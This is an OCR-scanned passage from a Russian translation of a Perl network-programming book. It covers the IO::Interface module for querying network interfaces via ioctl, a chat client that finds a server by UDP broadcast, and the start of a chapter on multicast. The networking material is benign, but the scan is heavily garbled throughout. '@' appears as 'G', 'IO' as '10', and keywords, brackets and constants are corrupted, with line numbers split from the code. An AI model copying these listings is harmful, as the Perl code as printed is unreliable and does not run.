Ь Возвращает (одиночный) IP-адрес для указанного интерфейса в виде четырех чисел, разделен-;
J ныхточками. '•?.''£■'"'
I Sbroadcast_addr = $socket->if_broadcast<$interfa<^_name)
i Возвращает широковещательный адрес указанного интерфейса в виде четырех чисел, разде- '■
I ленных точками. Для интерфейсов, которые не могут выполнять широковещательную рассыЛку, воз-
j f вращает значение undef. Й'
Shetmask = $socket->if_netmask($interface_name)
j; <. Возвращает маску сети для указанного интерфейса.
1" $dstaddr = §socket->ir_dstaddr($inteifface_name)
j Для двухточечных интерфейсов, работающих, например;; по; протоколу .SLIP или РРР, возвраща-
! ет IP-адрес удаленного конца соединения^ Для интерфейсов отличныхот двухточечных, воз'враща-i
г.ет значение unde£.
|i $hwaddr = - $$ockel:r >if^wad^ ($ Ariterface^ame) «■
! Возвращает 6-байтовый аппаратный адрес Ethernet интерфейса в следующей форме:/;
|;;aa:bb:cc:dd:ee:ff. Многие операционные системы не:лоддерживают.основополагающий фуНк- -
1. ционвльный код ioctl О, и в этом случае метод if Jiwaddr () возвращает uridef. Этот метод
возвращает также значение undef для интерфейсов, отличных от Ethernet I
При загрузке модуля 10: : Interface с тегом : flags импортируется набор
констант, предназначенных для использования с двоичной маской, возвращенной
методом if_flags(). Для определения того, поддерживает ли интерфейс конкретный
атрибут, можно выполнить сравнение этих констант с флажками с помощью
поразрядного оператора "И".
В следующем полностью работоспособном примере показано, как узнать, активен
ли интерфейс Ethernet tuO:
#!/usr/bin/perl
use 10::Socket;
use IO::Interface ':flags';
my $socket = 10::Socket::INET->new(Proto=>,udp') or die;
my $flags = $socket->if_flags('tuO') or die;
600 Часть IV. Дополнительные темы
print $flags & IFF_UP ? "Interface is up\n" :
"Interface is down\n";
Ниже приведена функция, которая позволяет определить
широковещательный адрес (адреса) конкретной подсети хоста во время выполнения. Эта функция
принимает сокет в качестве параметра, вызывает метод if_list() для
получения списка всех интерфейсов, запрашивает каждый из них по очереди для
определения того, какой из них позволяет выполнять широковещательную рассылку,
а затем вызывает метод if_broadcast () для- получения самого адреса. Она
возвращает список всех допустимых широковещательных адресов в виде четырех
чисел, разделенных точками.
sub get_broadcast_addr {
my $sock = shift;
my Gbaddr;
for my $if ($sock->if_list) {
next unless $sock->if_flags($if) & IFF_BROADCAST;
push sbaddr,$sock->if_broadcast($if) ;
}
return Gbaddr;
)
Еще одно средство модуля IO:: Interface позволяет использовать его не в объектно-
ориентированной, а функционально-ориентированной форме. После загрузки модуля
10: : Interface с тегом импорта : functions он импортирует в вызывающую процедуру
только что описанные методы в виде функций. Это позволяет использовать вызовы этих
функций с обычными дескрипторами сокетов, если в этом есть необходимость.
use Socket;
use 10::Interface ':functions';
socket (Sock, AF_I.NET, S0CK_DGRAM, scalar getprotobyname ('udp*));
Ginterfaces = iflist (\*SOCK);
B этом случае может применяться ссылка на шаблон типа, как показано выше, или
шаблон имени файла.
Анализ работы модуля IO::lnterface
Прежде чем приступить к изучению модуля 10: : Interface, опишем основные
нюансы, связанные с его использованием. Функциональные коды ioctl () в значительной
степени зависят от операционной системы и в системных файлах заголовков net / i f. h,
sys/socket.h и sys/sockio.h определены по-разному. Перед тем как использовать
модуль 10:: Interface, необходимо преобразовать эти системные файлы заголовков
в файлы .ph языка Perl с помощью инструментального средства h2ph, описанного
в главе 17 (в разделе "Реализация функции sockatmark ()"). Однако, как уже было
сказано, сценарий h2ph далек от идеала, и сгенерированные им файлы обычно требуют
исправления вручную, прежде чем их удастся правильно оттранслировать и загрузить .
В качестве альтернативы автор настоятельно рекомендует применять
расширение на языке С с тем же именем, разработанное автором в ходе исследований,
результаты которых легли в основу настоящей главы. При условии, что в вашей опе-
' В одном случае автору пришлось закомментировать подпрограмму, по непонятным причинам получивиеую
название foo_bar (), для обеспечения загрузки файла .ph, а в другом — удалить несколько функций,
которые, как оказалось, определены как вызовы самих себя!
Глава 20. Широковещательная рассылка 601
рационной системе есть транслятор С или C++, вы можете загрузить этот модуль из
архива CPAN и установить его без каких-либо затруднений. Это расширение С не
только предоставляет все функциональные средства реализации, написанные на
языке Perl, но и дает возможность изменять установки интерфейса. Например, этот
модуль позволяет изменить IP-адрес, присвоенный плате Ethernet. Данный модуль
можно найти в архиве CPAN .
Тем не менее, очень полезно рассмотреть версию модуля 10: : Interface,
написанную на языке Perl, чтобы получить представление о том, как должен быть написан
интерфейс к этой части операционной системы довольно низкого уровня. Код модуля
приведен в листинге 20.2.
ЛИСТИНГ 20.2. МОДУЛЬ 10: : Interface
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
24
25
26
27
28
package 10::Interface;
# Файл: 10/Interface.pm;
use strict;
use Carp 'croak';
use Config;
5: use vars qw
(GEXPORT GEXPORT_OK GISA %EXPORT_TAGS $VERSION %sizeof);
6: require Exporter;
my Gfunctions = qw(if_addr if_broadcast if_netmask if_dstaddr
if_hwaddr if_flags if_list);
my Gflags = qw(IFF_ALLMULTI IFF_AUTOMEDIA IFF_BROADCAST
IFF_DEBUG IFF_L00PBACK IFF_MASTER
IFF_MULTICAST IFF_N0ARP IFF_NOTRAILERS
IFF_POINTOPOINT IFF_PORTSEL IFF_PROMISC
IFF_RUNNING IFF_SLAVE IFF_UP);
%EXP0RT_TAGS = { 'all' => [Gfunctions,Gflags],
'functions' => \Gfunctions,
'flags' => \Gflags,
);
GEXPORT_OK = { G{ $EXPORT_TAGS{'all'} } );
GEXPORT = qw( );
GISA = qw(Exporter) ;
$VERSION •= '0.01';
22: require Socket;
23: Socket->import('inet_ntoa');
require "net/if.ph";
require "sys/ioctl.ph";
require "sys/sockio.ph" unless defined &SI0CGIFC0NF;
%sizeof = ('struct ifconf => 2 * $Config{ptrsize},
'struct ifreq' => 2 * IFNAMSIZO);
29: my $IFNAMSIZ = IFNAMSIZO;
30: my $IFHWADDRLEN = defined &IFHWADDRLEN ? IFHWADDRLEN() : 6;
Эти функциональные средства предоставляет еще один модуль CPAN, Net:: Inter face, но он, по-
видимому, уже не поддерживается и в новейших версиях Perl не транслируется.
602
Часть IV. Дополнительные темы
31: sub IFREQ_NAME { "Z$IFNAMSIZ x$IFNAMSIZ" } # Имя
32: sub IFREQ_ADDR { "Z$IFNAMSIZ s x2 a4" } # Выборка
# IP-адресов
33: sub IFREQ_ETHER { "Z$IFNAMSIZ s C$IFHWADDRLEN" }
# Выборка адресов Ethernet
34: sub IFREQ_FLAG { "Z$IFNAMSIZ s" } # Выборка
# флажков
{
no strict 'refs";
*{"I0::Socket: :$_"} = \&$_ foreach Gfunctions;
}
sub if_addr {
my ($sock,$ifname) = G_;
my $ifreq = pack(IFREQ_NAME, $ifname) ;
return unless ioctl($sock,SIOCGIFADDRO,$ifreq) ;
my ($name,$family,$addr) = unpack(IFREQ_ADDR, $ifreq) ;
return inet_ntoa($addr);
}
sub if_broadcast {
my ($sock,$ifname) = G_;
my $ifreq = pack(IFREQ_NAME,$ifname);
return unless ioctl($sock,SIOCGIFBRDADDRO,$ifreq);
my($name,$protocol,$addr) = unpack(IFREQ_ADDR,$ifreq);
return if $addr eq "\0\0\0\0";
return inet_ntoa($addr);
}
sub if_netmask {
my ($sock, $ifname) = G_;
my $ifreq = pack(IFREQ_NAME,$ifname);
return unless ioctl($sock,SIOCGIFNETMASKO,$ifreq);
my($name,$protocol,$addr) = unpack(IFREQ_ADDR,$ifreq);
return inet_ntoa($addr);
}
sub if_dstaddr {
my ($sock, $ifname) •= G_;
my $ifreq = pack(IFREQ_NAME,$ifname);
return unless ioctl($sock,SIOCGIFDSTADDRO , $ifreq),•
my($name,$protocol,$addr) = unpack(IFREQ_ADDR,$ifreq);
return if $addr eq "\0\0\0\0";
return inet_ntoa($addr);
}
sub if_hwaddr {
my ($sock,$ifname) = G_;
return unless defined &SIOCGIFHWADDR,-
my $ifreq = pack(IFREQ_NAME, $ifname);
return unless ioctl($sock, SIOCGIFHWADDR(),$ifreq);
my($name,$proto,Gaddr) = unpack(IFREQ_ETHER,$ifreq);
return unless grep { $_ != 0 } Gaddr;
return join ':',map {sprintf "%02x",$_} Gaddr;
}
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78: sub if_flags {
79: my ($sock, $ifname) = G_
Глава 20. Шираковещателъпая рассылка
603
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
ray $ifreq = pack(IFREQ_NAME,$ifname);
return unless ioctl($sock,SIOCGIFFLAGS(),$ifreq);
my($name,$flags) = unpack(IFREQ_FLAG,$ifreq) ;
return $flags;
}
sub if_list {
my $sock = shift;
my $ifreq_length = $sizeof{'struct ifreq'};
my $buffer = "\0"x($ifreq_length*20); # Разрешено
# использовать до 20 интерфейсов
my $format = $Config{ptrsize} == 8 ? "ix4p" : "ip";
my $ifclist = pack $format,length $buffer,$buffer;
return unless ioctl($sock,SICCGIFCONFO,$ifclist);
my %interfaces;
my $ifclen = unpack "i",$ifclist;
for (my $start=0;$start < $ifclen;$start+=$ifreq_length) {
my $ifreq = substr(Sbuffer,$start,$ifreq_length);
my $ifname = unpack (IFREQJSIAME, $if req) ;
$interfaces{$ifname} = undef;
}
return sort keys %interfaces;
}
101: 1;
Проведем анализ программы.
Строки 1-21. Установка модуля. Эта часть модуля предстааляет собой рутинные операции
Perl. Загружается модуль Exporter, объявляются экспортируемые переменные и создаются
теги экспорта модуля. Единственной нетривиальной конструкцией этого модуля является
следующая строка:
use Config;
которая загружает модуль config языка Perl. Этот модуль экспортирует хеш %config,
содержащий информацию о различных типах данных, относящихся к архитектуре операционной системы,
включая размерность представления указателей и целых чисел. Эта информация необходима
для определения форматов упаковки и распаковки данных, передаваемых в интерфейс ioctl s.
Строки 22-28. Загрузка библиотек сокета и интерфейса. Загружается библиотека socket
и импортируется ве функция inet_ntoa (). Здесь для загрузки модуля используется не
оператор use, а оператор require, позволяющий предотвратить вывод ряда бесполезных
предупреждающих сообщений, которые возникают из-за конфликтов прототипов между константами,
определенными в файлах .ph, и теми же константами, загруженными из модуля socket.
require Socket;
Socket->import('inet_ntoa') ;
Теперь загружаются файлы .ph, содержащие константы для работы с сетевыми интерфейсами.
Файл net/if .ph содержит определения структур данных в используемых вызовах функции
ioctl {). Эти определения в основном нужны для получения констант, определяющих размеры
структур данных. Затем загружаются файлы sys/ioctl .ph И sys/sockio.ph. В некоторых
системах все функциональные коды интерфейса определены в первом файле, а в других приходится
загружать оба файла. Загружается первый файл, выполняется проверка того, получен ли
функциональный код siocgifconf, и если нет, происходит переход к загрузке второго файла.
require "net/if-ph";
require "sys/ioctl.ph";
require "sys/sockio.ph" unless defined 6SIOCGIFCONF;
В следующем фрагменте кода используется малоизвестное средство системы . ph
интерпретатора Peri. Многие вызовы функции ioctl () содержат встроенные коды, определяющие
604
Часть IV. Дополнительные темы
размеры структур данных, которыми они оперируют. Когда транслятор С обрабатывает файлы
include, он имеет возможность определить размеры этих структур во время трансляции
и сгенерировать правильные константы, но интерпретатор Perl ничего не знает о структурах
данных С и нуждается в определенной помощи со стороны программиста, который должен
сообщить ему размеры этих структур.
Именно для этой цели предназначен хеш %sizeof. Каждый раз, когда для обработки файла
.ph нужен размер структуры данных, интерпретатор обращается по ключу в этот хеш.
Например, он вызывает переменную Ssizeof{'int'}, когда ему нужен размер целого числа
$sizeof {"struct ifreq'} для выборки размера структуры ifreq. Для получения
правильных размеров функционального кода siocgifconf и подобных кодов необходимо установить
значение хеша %sizeof перед вызовом любого из функциональных кодов ioctl (). Эта
операция выполняется в следующих строках кода.
%sizeof = ('struct ifconf => 2 * $Config{ptrsize},
"struct ifreq' => 2 * IFNAMSIZ);
Как оказалось, для работы нужны только две структуры данных С — ifreq, которая содержит
информацию о конкретном интерфейсе, и ifconf, которая применяется для выборки списка
всех активных интерфейсов. Структура ifconf является самой простой. Она состоит из
целого числа и указателя. Указатель обозначает область памяти, в которой должен быть получен
список имен интерфейсов, а целое число — размер этой области.
Размеры целых чисел и указателей зависят от архитектуры, но их можно определить во время
выполнения с использованием хеша %conf ig языка Perl. На первый взгляд может показаться,
что размер структуры ifconf должен быть равен сумме размеров целого числа и указателя,
но это иногда оказывается неправильным. Во многих компьютерных архитектурах
используются ограничения выравнивания, которые требуют размещения указателей в адресах памяти,
равных четному кратному размеров указателя. Если размеры целого числа и указателя не
одинаковы (например, как в некоторых 64-разрядных системах), транслятор С разместит
дополнительные байты после целого числа для выравнивания указателя по его границе. Это
значит, что в конечном итоге размер структуры ifconf становится равным удвоенному
размеру указателя, или 2 * $config{ptrsize}.
Структура ifreq включает объединение С, а это значит, что одна и та же область памяти
применяется в разных целях, в зависимости от контекста. Первая часть этой структуры данных
содержит имя интерфейса и по длине определена равной ifnamsiz байт (в большинстве
реализаций —16 байт). Вторая часть может при различных условиях содержать следующее:
* адрес сокета, состоящий из 2-байтового обозначения семейства адресов и 4-байтового
IP-адреса, которые разделены 2-байтовым дополнением;
* аппаратный адрес Ethernet, состоящий из 2-байтового обозначения семейства адресов
аппаратного адреса длиной до 6 байт;
* флажки интерфейса, состоящие из 2 байт данных флажков;
* имя "ведомого" интерфейса, применяемого в различных схемах распределения нагрузки (эта
тема здесь не рассматривается). Имя "ведомого" интерфейса также имеет длину ifnamsiz байт.
Размер объединения С должен быть достаточным для размещения всех этих вариантов.
В данном случае он равен удвоенному значению ifnamsiz, или 2 * ifnamsiz. При такой
корректной инициализации хеша %sizeof функциональные коды ioctl о после обработки
будут получать правильные значения.
Отметим, что для получения этих саедений автору пришлось несколько раз возвратиться
к данному вопросу и написать несколько небольших тестовых программ С. Несмотря на то что
автор был удовлетворен выполненной работой, его разочаровало то, что для этого
потребовалось глубокое знание особенностей работы транслятора С.
• Строки 29-34. Определение форматов pack () и unpack О для интерфейса ioctls. Для
прямого и обратного перемещения данных в структуру ifreq применяются функции pack о
и unpack () Теперь определим форматы для каждого из вариантов ifreq. Константы ifnamsiz
и ifhwaddrlen преобразованы в переменные, которые можно использовать в строках,
заключенных в двойные кавычки. Не во всех операционных системах определена константа
ifhwaddrlen, и в этом случае применяется по умолчанию размер аппаратного адреса Ethernet.
Константа ifreq_name предназначена для упаковки в структуру имени интерфейса. Она состоит
из строки длиной ifnamsiz байт. Если строка не заполняет все доступное пространство, она до-
Глава 20. Широковещательная рассылка
605
полняется нулями с использованием формата Z. Нижняя часть этой структуры данных
инициализируется нулевыми байтами, число которых равно ifnamsiz, с использованием формата х.
Константа ifreq_addr используется для выборки IP-адресов интерфейса различных типов.
Она состоит из имени интерфейса, 2-байтового целого числа, содержащего обозначение
семейства адресов, 2-байтового дополнения и 4-байтовой символьной строки, соответствующей
IP-адресу.
Константа ifreqether применяется для распаковки адреса Ethernet. В данном случае структура
if req содержит имя интерфейса, 2-байтовое целое число, содержащее обозначение семейства
адресов (которое обычно равно afunspecified), и 6 байт без знака с информацией адреса.
Константа ifreq_flag является самой простой. Она состоит из имени интерфейса, за
которым следует короткое целое число, содержащее флажки интерфейса.
• Строки 35-38. Подключение методов го-.: interface к классу Ю:: Socket. В следующем
фрагменте кода осуществляется экспорт различных подпрограмм, определенных в модуле
io:: interface, в пространство имен io::socket и выполняется их преобразование в
методы, которые могут использоваться с объектами Ю:: Socket. С помощью любой из функций,
которые определены в глобальном массиве (? functions, можно выполнять примерно такое
присваивание:
*{"IO::Socket::if_addr") = \6if_addr;
Приведенная здесь общая схема представляет собой малоизвестный способ создания в
пространстве имен другого модуля псевдонима, соответствующего функции, которая определена
в текущем модуле. Эта схема описана, хотя и очень кратко, в справочных руководствах perlsub
и perlref и представляет собой основную операцию, выполняемую модулем Exporter. Такое
действие необходимо выполнить для списка функций, поэтому применяется небольшой цикл,
который создает псевдонимы пространства имен для каждой функции по очереди.
<
no strict 'refs';
*{"I0::Socket::$_"} = \&$_ foreach Gfunctions;
}
Оператор no strict "refs" отключает на время средства проверки, которые запрещают
подобные манипуляции пространством имен.
• Строки 39-45. Получение адреса интерфейса. Наконец, мы готовы к реальной работе.
Функция if_addr () принимает сокет и имя интерфейса, а также возвращает IP-адрес интерфейса
в виде строки из четырех чисел, разделенных точками. Выполнение этого кода начинается
с создания упакованной структуры if req, содержащей имя затребованного интерфейса.
Формат ifreq_name предусматривает упаковку имени в первые ifnamsiz байт структуры и
заполнение нулями ее остальной части. Теперь вызывается функция ioctl () с использованием
функционального кода siocgifaddr; ей передается сокет и вновь созданная структура
if req. Если вызов функции ioctl () по каким-то причинам завершается неудачей,
возвращается значение undef.
В ином случае функция ioctl о вернет затребованную информацию в структуре if req.
Переменная $if req распаковывается с использованием формата ifreq_addr. Она возвращает
имя интерфейса, обозначение его семейства адресов и сам адрес. Все прочие значения
игнорируются, а адрес с помощью функции inet_ntoa () преобразуется в форму с четырьмя
числами, разделенными точками, и возвращается вызывающей процедуре.
• Строки 46-77. Выборка широковещательного адреса, адреса назначения, аппаратного
адреса и маски сети. Следующие несколько функций весьма похожи друг на друга, но они не
запрашивают у операционной системы адрес интерфейса, а используют различные
функциональные коды ioctl () для выборки широковещательного адреса, адреса назначения
двухточечного соединения, аппаратного адреса и маски сети.
В некоторых из этих процедур выполняется небольшая дополнительная работа в целях
исключения возможности возврата адреса 0.0.0.0; автор обнаружил это в некоторых системах
Linux, опрашивая интерфейсы, которые не поддерживают определенный тип адресации
(например, пытаясь получить широковещательный адрес для интерфейса петли обратной
связи). Лучше вернуть значение undef, если адрес отсутствует, чем бессмысленное значение.
• Строки 78-84. Возврат флажков интерфейса. Функция if flags () инициализирует
структуру if req, включая в нве имя требуемого интерфейса, а затем передает функции ioctl о
606
Часть IV. Дополнительные темы
с помощью функционального кода siocgifflags. В случае успешного выполнения результат
распаковывается с использованием формата ifreq_flags и флажки возвращаются
вызывающей процедуре.
• Строки 85-100. Выборка списка всех интерфейсов. Самой сложной является функция
if list (), которая возвращает список всех активных сетевых интерфейсов. Создается
упакованная структура if conf, состоящая из указателя на буфер и длины буфера. Буфер
первоначально пуст (заполнен нулями); он заполняется после вызова функции ioctl () с массивом
структур if req, каждая из которых содержит имя другого интерфейса.
Структура данных должна быть достаточно велика, чтобы в ней поместились данные о всех
возможных интерфейсах. Создается заполненная нулями локальная переменная, которая
достаточно велика для хранения информации о двадцати интерфейсах.
Для упаковки структуры if conf должен применяться определенный формат. В связи с
ограничениями выравнивания, он будет разным на компьютерах, имеющих указатели длиной
32 бит, и на компьютерах с 64-разрядными архитектурами. В первом случае применяется
просто формат "ip", обозначающий целое число, за которым следует указатель. Во втором
случае используется формат "ix4p", который обозначает целое число, 4-байтовое
дополнение и указатель.
Путем вызова функции pack () с указанием длины буфера и самого буфера создается структура
if conf. Формат "р" обеспечивает включение в упакованную структуру адреса памяти буфера.
Теперь вызывается функция ioctl {) с функциональным кодом siocgifconf для заполнения буфера
именами интерфейсов. При неудачном завершении возвращается значение undef.
В ином случае выполняется распаковка переменной $if clist для выборки размера буфера.
Это позволяет узнать, какая часть буфера была использована операционной системой для
сохранения полученных ею результатов. Теперь выполняется поэтапное перемещение по
буферу путем вызова функции subs t г () для выборки одного сегмента if req за другим. Для
каждого сегмента распаковывается имя интерфейса и сохраняется в хеше с использованием
определенного ранее формата ifreq_name.
После выхода из цикла возвращаются отсортированные ключи хеша. Автор добавил
в процесс этот этап, после того как обнаружил, что некоторые операционные системы
в ответ на запрос siocgifconf возвращают одно и то же имя интерфейса несколько
раз. Запись имен интерфейсов в хеш обеспечивает получение списка, содержащего
только уникальные имена.
Доработка клиента системы
интерактивной переписки для
поддержки поиска ресурсов
Теперь у нас есть все необходимое для реализации удобного средства в клиенте
системы интерактивной переписки UDP, разработанной в главе 19. Если этот клиент
запускается без указания сервера назначения, он отправляет по методу
широковещательной рассылки свои запросы в порт системы интерактивной переписки любой
сети, к которой он подключен. Он ожидает ответ от любого сервера системы
интерактивной переписки, который принимает запросы, и если ответ от хоста поступает
в течение установленного времени, то клиент подключается к нему и действует, как
обычно. В случае получения нескольких ответов клиент подключается к тому серверу,
который ответит первым. Это — простая форма поиска ресурсов.
Код дополненного клиента системы интерактивной переписки приведен в
листинге 20.3. Этот сценарий разработан на основе клиента системы интерактивной
переписки, описанного в главе 19 (листинги 19.8-19.10). Те части кода, которые
остались без изменений, в листинг не включены.
Глава 20. Широковещательная рассылка
607
Листинг 20.3. Клиент системы интерактивной переписки, который выполняет
широковещательн • «ассылку
о
1
2
3
4
5
б
7
8
36
37
38
39
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/perl -w
# Файл: broadcast_chat_client.pl
# Клиент системы интерактивной переписки на основе UDP и
# широковещательной рассылки
use strict;
use 10::Socket;
use 10::Select;
use ChatObjects::ChatCodes;
use ChatObjects::Coram;
use IO::Interface *:flags';
# Создание и инициализация сокета UDP
my $servaddr = shift || "';
my $servport = shift || 2027;
my $last_alive = 0;
40: $servaddr ||= find_server($servport);
41: die "Couldn't find a chat server" unless $servaddr;
42: $server = ChatObjects::Coram->new(PeerAddr =
> "$servaddr:$servport") or die $G;
sub find_server {
my $port = shift;
my $sock = IO::Socket::INET->new(Proto => 'udp');
$sock->sockopt(SOBROADCAST,1);
for my $if ($sock->if_list) (
next unless $sock->if_flags($if) & IFF_BROADCAST;
my $destip = $sock->if_broadcast($if);
my $dest = sockaddr_in($port, inet_aton($destip));
warn "Broadcasting for a server on $destip\n";
send($sock,pack{"n",0),0,$dest);
\
# Ждать ответа до 3 секунд
my $reader = IO::Select->new($sock);
return unless $reader->can_read{3);
# Прочитать сообщение из сокета для получения адреса
my $data;
ту $addr = recv($sock,$data,10,0);
return unless unpack("n",$data) == ERROR;
my $serveraddr = inet_ntoa((sockaddr_in($addr))[1]);
warn "Found a server at $serveraddr\n";
return $serveraddr;
Проведем анализ программы.
• Строка 8. Загрузка модуля io::interface. Модуль Ю:: interface применяется для
получения широковещательного адреса (адресов) подсети, к которой подключен клиент, поэтому
при загрузке этого модуля одновременно импортируются константы флажков интерфейса.
608 Часть IV. Дополнительные темы
• Строка 37. Заданный по умолчанию адрес сервера не применяется. В предыдущих версиях
этого клиента по умолчанию применялся адрес localhost, если в командной строке не был указан
хост системы интерактивной переписки. В этой версии значение по умолчанию не предусмотрено,
и если имя сервера не задано в командной строке, то вместо него используется пустая строка.
• Строки 40,41. Вызов подпрограммы find_server о для поиска сервера. Если в
командной строке не задан адрес сервера, то для поиска сервера вызывается новая внутренняя
подпрограмма find_server (). Если подпрограмма find_server () возвращает значение
undef, вызывается функция die.
• Строки 64-85. Поиск сервера с помощью широковещательной рассылки. Самая
интересная часть кода находится в подпрограмме findserver о. Ее выполнение начинается с
создания нового сокета UDP. Предусмотрено, что в конечном итоге этот сокет будет отличаться
от того, через который будет происходить взаимодействие с сервером, но вполне возможно
использование одного сокета для того и другого. После создания сокета его опция
so_eroadcast устанавливается равной истинному значению с тем, чтобы через него можно
было выполнять широковещательную рассылку.
Теперь выполняется поиск сетевых интерфейсов, через которые может проводиться
широковещательная рассылка. Для получения списка интерфейсов вызывается метод if_list() сокета
и выполняется циклический перебор элементов этого списка для поиска тех, во флажках которых
установлена опция iffjbroadcast. Для каждого интерфейса, позволяющего выполнять
широковещательную рассылку, определяется широковещательный IP-адрес, создается упакованный
адрес назначения с использованием указанного номера портв сервера системы интерактивной
переписки и в него отправляется сообщение. Содержание сообщения, отправляемого на сервер,
не играет роли, поскольку нас интересует только то, ответит ли вообще на него сервер. В этом
случае отправляется сообщение, содержащее двоичное число О в сетевом порядке байтов.
Поскольку это значение не соответствует ни одному из кодов сообщений системы интерактивной
переписки, определенных в пакете Chatcodes, предполагается, что сервер ответит сообщением
с кодом error. Более формальный способ решения этой задачи мог бы заключаться в
определении явных кодов сообщений, которыми клиент и сервер могли обмениваться для такой цели, но
это потребовало бы внесения изменений и в сценарий сервера.
Клиент осуществил широковещательную рассылку запроса по всем подключенным к нему
интерфейсам, способным выполнять широковещательную рассылку, и теперь должен ждать
ответов. Для установки периода ожидания входящих сообщений до 3 секунд применяется
модуль Ю::Select. Если в течение этого времени не будет получено ни одного ответа,
возвращается значение undef. В ином случае считывается первое сообщение, распаковывается
и выполняется проверка, содержит ли оно ожидаемый код error, поступивший от сервера
системы интерактивной переписки (если оно не содержит такого кода, это может означать, что
запросы через этот порт принимает сервер какого-то другого типа). Теперь подпрограмма
определяет и возвращает адрес отправителя путем вызова функции sockaddr_in (),
распаковки имени другого участника обмена данными, возвращенного функцией recv(), и
использования функции inet_ntoa () для преобразования адреса в форму четырех чисел, разделенных
точками, которая предназначена для восприятия человеком.
Если на широковещательный запрос отвечают два или более серверов системы интерактивной
переписки, то клиент подключается к первому из них. Ответы, полученные от других серверов,
отбрасываются вместе с сокетом, когда эта подпрограмма выходит из области определения.
После запуска этого дополненного сценария клиента системы интерактивной
переписки на хосте, подключенном к двум подсетям, можно видеть, как клиент
рассылает широковещательные пакеты по обеим подсетям. Через короткий интервал
времени клиент получает ответ от сервера в одной из подсетей и выбирает его. Остальная
часть сеанса интерактивной переписки протекает, как обычно.
% broadcast_chat_client.pl
Broadcasting for a server on 192.168.3.255
Broadcasting for a server on 192.168.8.255
Found a server at 192.168.3.2
Your nickname: lincoln
trying to log in (1) . ..
Log in successful. Welcome lincoln.
Глава 20. Широковещательная рассылка
609
Резюме
Широковещательная рассылка — мощный метод поиска ресурсов в локальной сети.
Отправка широковещательных пакетов является несложной задачей, если известен
правильный широковещательный IP-адрес подсети. В ином случае этот адрес можно
определить во время выполнения с использованием модуля 10: : Interface (либо
рассматриваемой здесь версии, написанной только на языке Perl, либо модуля
расширения С, который может быть получен из архива CPAN).
Задача получения широковещательных пакетов еще проще. Любой дейтаграмм-
ный сервер принимает широковещательные сообщения без каких-либо дополнений
в программе.
Широковещательная рассылка имеет некоторые существенные ограничения. Она
может применяться только в локальной сети, поскольку маршрутизаторы не
перенаправляют широковещательные пакеты в другую подсеть. Широковещательная
рассылка не избирательна. Хост-компьютер не может отказаться от приема
широковещательных пакетов, так же как телевизионная антенна не может принимать одни
программы и отказываться от других. Операционная система принимает и
обрабатывает каждое полученное широковещательное сообщение, даже если оно затем не
будет востребовано ни одним прикладным приложением. По этой причине не следует
злоупотреблять широковещательной рассылкой.
Один из способов преодоления этих ограничений состоит в использовании
многоадресной рассылки, которая рассматривается в следующей главе.
610
Часть IV. Дополнительные темы
Глава |2l]
Многоадресная рассылка
В предыдущей главе рассматривалось применение широковещательной рассылки
для передачи сообщений UDP всем хостам в локальной сети. Представленные в ней
примеры показывают два основных недостатка этой рассылки: отсутствие
возможности направлять пакеты за пределы локальной подсети и неспособность передавать их
на конкретные хосты. Широковещательная рассылка предусматривает доставку
пакетов всем, а не избранным хостам, и может применяться только в локальной подсети.
В настоящей главе описывается многоадресная рассылка — более новая технология,
предназначенная специально для потоковой передачи видеоданных, звука и
приложений конференц-связи. В отличие от широковещательных сообщений, многоадресные
могут маршрутизироваться; это значит, что они могут не только переходить из одной
локальной подсети в другую, но даже передаваться по Internet. Более того,
многоадресная рассылка предоставляет возможность определять хосты, которые должны получить
конкретное сообщение. Однако единственное многоадресное сообщение, созданное
хостом, будет надлежащим образом тиражироваться маршрутизаторами по мере
необходимости и доставляться одному, десяткам или даже тысячам получателей.
В настоящей главе описаны основы многоадресной рассылки, принципы ее
действия и способы применения в приложениях. В качестве примера показано
использование многоадресной рассылки для повторной реализации сервера интерактивной
переписки, описанного в главе 19.
Основы многоадресной рассылки
Многоадресная рассылка основана на применении ряда зарезервированных
IP-адресов, находящихся в верхней части адресного пространства IP между адресами
224.0.0.0 и 239.255.255.255. После отправки пакета по одном)' из этих адресов он не
перенаправляется обычным образом на единственный компьютер, а рассылается по сети
на все компьютеры, которые зарегистрировались, как желающие получать сообщения,
поступающие по этому адресу. В терминах многоадресной рассылки такие IP-адреса
называются "группами", поскольку с каждым адресом связана целая группа компьютеров.
В действительности группы многоадресной рассылки во многом напоминают
списки рассылки. Процесс присоединяется к одной или нескольким группам, а система
многоадресной рассылки обеспечивает доставку сообщений, направленных в группу,
всем членам группы. В дальнейшем процесс может отменить свое членство в группе,
и поток поступающих к нему сообщений прекратится.
Глава 21. Многоадресная рассылка
611
Как и в других приложениях TCP/IP, в многоадресной рассылке для поиска
работающей программы, которой должен быть доставлен пакет, применяется сочетание
адреса и номера порта. Прежде чем сокет сможет получать многоадресное
сообщение, должна быть выполнена его привязка к порту, так же как и сокета обычного
одноадресного серверного приложения. Это значит, что одна и та же группа
многоадресной рассылки может применяться для различных приложений (или различных
компонентов одного и того же приложения) при условии, что всеми участниками
многоадресной рассылки будет заранее согласовано, какие порты должны для этого
использоваться. Например, адрес многоадресной рассылки 226.0.1.8 может
применяться одновременно и для получения видеопотока в порту 1908, и для работы с
графической демонстрационной доской в порту 2455.
В этот зарезервированный диапазон входит свыше 26 млн адресов многоадресной
рассылки, которые могут применяться с 65536 номерами портов, а это означает, что
в Internet для многоадресной рассылки может использоваться примерно 1,7
триллионов каналов. Однако на число групп многоадресной рассылки, к которым может
присоединиться один сокет, обычно накладывает свои ограничения операционная
система, поэтому их число не может превышать 20.
Многоадресная рассылка применяется во многих приложениях, для которых
требуется связь "один-со-многими". К таким приложениям многоадресной рассылки с
открытым исходным кодом относятся VIC, система проведения видеоконференций,
разработанная в лаборатории Lawrence Berkeley; RAT, система потоковой передачи
звука, разработанная Университетским колледжем в Лондоне; и WB, интерактивное
сетевое приложение для работы с графической демонстрационной доской, также
разработанное лабораторией Lawrence Berkeley. Кроме того, для многоадресной
рассылки отметок текущего времени по локальной сети может быть настроен демон
протокола сетевого времени xntpd. При использовании в сочетании с
многоадресной маршрутизацией в масштабах всей локальной сети этот протокол позволяет
синхронизировать все компьютеры в организации по одному сигналу сетевого времени.
